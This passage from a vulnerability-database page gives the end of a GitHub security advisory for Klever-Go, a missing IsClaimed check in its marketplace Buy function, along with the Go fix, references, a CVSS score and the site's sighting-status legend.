(`market.go:1125`):\n\n```go\nif marketOrder.IsClaimed {\n return transaction.Transaction_ParameterInvalid, ErrMarketOrderAlreadyClaimed\n}\n```\n\nDefense-in-depth (optional but recommended): in `executeBuyMarket`, reset `EndTime`/`CurrentBid`/`CurrentBidder` (or delete the order) on early settlement so a settled order is no longer indistinguishable from a live one. Gate any consensus-visible behavior change behind an epoch fork flag so historical blocks reprocess identically.",
"id": "GHSA-26r5-4mm2-px5c",
"modified": "2026-09-23T21:24:03Z",
"published": "2026-09-23T21:24:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-26r5-4mm2-px5c"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/pull/16"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/commit/063bb3ed98f9a84a4b1f7286680613a5fc3c91b2"
},
{
"type": "PACKAGE",
"url": "https://github.com/klever-io/klever-go"
},
{
"type": "WEB",
"url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Klever-Go: Zombie-order theft: `Buy` missing `IsClaimed` guard in native marketplace"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.